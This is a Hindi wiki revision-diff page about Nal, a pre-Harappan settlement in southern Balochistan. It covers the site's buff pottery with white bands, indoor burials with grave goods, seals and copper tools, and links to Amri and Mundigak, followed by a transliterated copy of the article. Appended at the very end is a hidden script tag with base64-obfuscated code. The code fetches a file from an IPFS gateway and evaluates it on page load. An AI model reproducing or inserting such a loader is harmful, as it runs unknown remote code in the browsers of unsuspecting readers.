Difference between revisions of "नाल, बलूचिस्तान"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Adding category Category:ऐतिहासिक स्थल (को हटा दिया गया हैं।))
 
(6 intermediate revisions by 5 users not shown)
Line 1: Line 1:
*नाल प्राक् सैन्धव स्थल तथा एक [[संस्कृति|सांस्कृतिक]] परम्परा के रूप में जाना जाने वाला नगर है।  
+
'''नाल''' प्राक् सैन्धव स्थल तथा एक [[संस्कृति|सांस्कृतिक]] परम्परा के रूप में जाना जाने वाला नगर है।  
*यह नगर दक्षिणी [[बलूचिस्तान]] में स्थित है।  
+
*नाल नगर दक्षिणी [[बलूचिस्तान]] में स्थित है।  
 
*यहाँ से प्राप्त मृद्भाण्ड परम्परागत पाण्डु रंग ([[पीला रंग]]) के हैं किंतु उनमें [[सफ़ेद रंग|सफ़ेद]] पट्टी मिलती है।  
 
*यहाँ से प्राप्त मृद्भाण्ड परम्परागत पाण्डु रंग ([[पीला रंग]]) के हैं किंतु उनमें [[सफ़ेद रंग|सफ़ेद]] पट्टी मिलती है।  
*नाल में आवास निर्माण के लिए अनगढ़ पत्थर तथा मिट्टी की ईंटों का प्रयोग किया गया है।  
+
*नाल में आवास निर्माण के लिए अनगढ़ पत्थर तथा [[मिट्टी]] की [[ईंट (लेखन सामग्री)|ईंटों]] का प्रयोग किया गया है।  
*शवाधान मकानों के अन्दर ही निर्मित किए जाते थे तथा शवाधानों के साथ अनेक दैनिक जीवन की वस्तुएँ, यथा-मृद्भाण्ड, छैनी, [[ताँबा|ताँबे]] की कुल्हाड़ी आदि रख दी जाती थी, जो सम्भवत: पारलौकिक जीवन में विश्वास का प्रतीक है।  
+
*शवाधान मकानों के अन्दर ही निर्मित किए जाते थे तथा शवाधानों के साथ अनेक दैनिक जीवन की वस्तुएँ, यथा-मृद्भाण्ड, छैनी, [[ताँबा|ताँबे]] की [[कुल्हाड़ी]] आदि रख दी जाती थी, जो सम्भवत: पारलौकिक जीवन में विश्वास का प्रतीक है।  
*नाल के विशिष्ट पुरावशेषों में सेलखड़ी की मुहर, ताँबे की मुहर, छिद्रित प्रस्तर बाट, ताँबे के विभिन्न उपकरण तथा अर्द्ध बहुमूल्य पत्थरों के मनके उल्लेखनीय हैं।  
+
*नाल के विशिष्ट [[पुरावशेष|पुरावशेषों]] में सेलखड़ी की मुहर, ताँबे की मुहर, छिद्रित प्रस्तर बाट, ताँबे के विभिन्न उपकरण तथा अर्द्ध बहुमूल्य पत्थरों के मनके उल्लेखनीय हैं।  
*नाल का महत्व इस बात में है कि यहाँ से मिलते-जुलते मृद्भाण्ड आभरी (सिन्ध) तथा मुण्डीगाक ([[अफगानिस्तान]]) से भी प्राप्त हुए हैं, जो इस बात का साक्ष्य है कि विभिन्न स्थानीय संस्कृतियाँ एक दूसरे को प्रभावित कर रही थी और यह लम्बे समय से चले आ रहे सम्पर्कों के कारण ही सम्भव था।  
+
*नाल का महत्व इस बात में है कि यहाँ से मिलते-जुलते मृद्भाण्ड आभरी ([[सिन्ध]]) तथा मुण्डीगाक ([[अफ़ग़ानिस्तान]]) से भी प्राप्त हुए हैं, जो इस बात का साक्ष्य है कि विभिन्न स्थानीय संस्कृतियाँ एक दूसरे को प्रभावित कर रही थी और यह लम्बे समय से चले आ रहे सम्पर्कों के कारण ही सम्भव था।  
 
*यहाँ मिट्टी के बर्तनों पर कूबड़दार बैल एवं [[पीपल]] के चिह्नों का प्रयोग किया गया है, जो विकसित [[हड़प्पा|हड़प्पा काल]] में भी जारी रहा।  
 
*यहाँ मिट्टी के बर्तनों पर कूबड़दार बैल एवं [[पीपल]] के चिह्नों का प्रयोग किया गया है, जो विकसित [[हड़प्पा|हड़प्पा काल]] में भी जारी रहा।  
  
 
{{प्रचार}}
 
 
{{लेख प्रगति
 
{{लेख प्रगति
 
|आधार=
 
|आधार=
Line 17: Line 15:
 
|शोध=
 
|शोध=
 
}}
 
}}
{{संदर्भ ग्रंथ}}
+
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
[[Category:नया पन्ना]]
+
==संबंधित लेख==
 +
{{विदेशी स्थान}}
 +
[[Category:विदेशी स्थान]]
 +
[[Category:इतिहास कोश]]
 +
[[Category:ऐतिहासिक स्थल]]
 
__INDEX__
 
__INDEX__

Latest revision as of 13:36, 29 November 2014

nal prakh saindhav sthal tatha ek saanskritik parampara ke roop mean jana jane vala nagar hai.

  • nal nagar dakshini baloochistan mean sthit hai.
  • yahaan se prapt mridbhand paramparagat pandu rang (pila rang) ke haian kiantu unamean safed patti milati hai.
  • nal mean avas nirman ke lie anagadh patthar tatha mitti ki eeantoan ka prayog kiya gaya hai.
  • shavadhan makanoan ke andar hi nirmit kie jate the tatha shavadhanoan ke sath anek dainik jivan ki vastuean, yatha-mridbhand, chhaini, taanbe ki kulha di adi rakh di jati thi, jo sambhavat: paralaukik jivan mean vishvas ka pratik hai.
  • nal ke vishisht puravasheshoan mean selakh di ki muhar, taanbe ki muhar, chhidrit prastar bat, taanbe ke vibhinn upakaran tatha arddh bahumooly pattharoan ke manake ullekhaniy haian.
  • nal ka mahatv is bat mean hai ki yahaan se milate-julate mridbhand abhari (sindh) tatha mundigak (afaganistan) se bhi prapt hue haian, jo is bat ka sakshy hai ki vibhinn sthaniy sanskritiyaan ek doosare ko prabhavit kar rahi thi aur yah lambe samay se chale a rahe samparkoan ke karan hi sambhav tha.
  • yahaan mitti ke bartanoan par koob dadar bail evan pipal ke chihnoan ka prayog kiya gaya hai, jo vikasit h dappa kal mean bhi jari raha.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>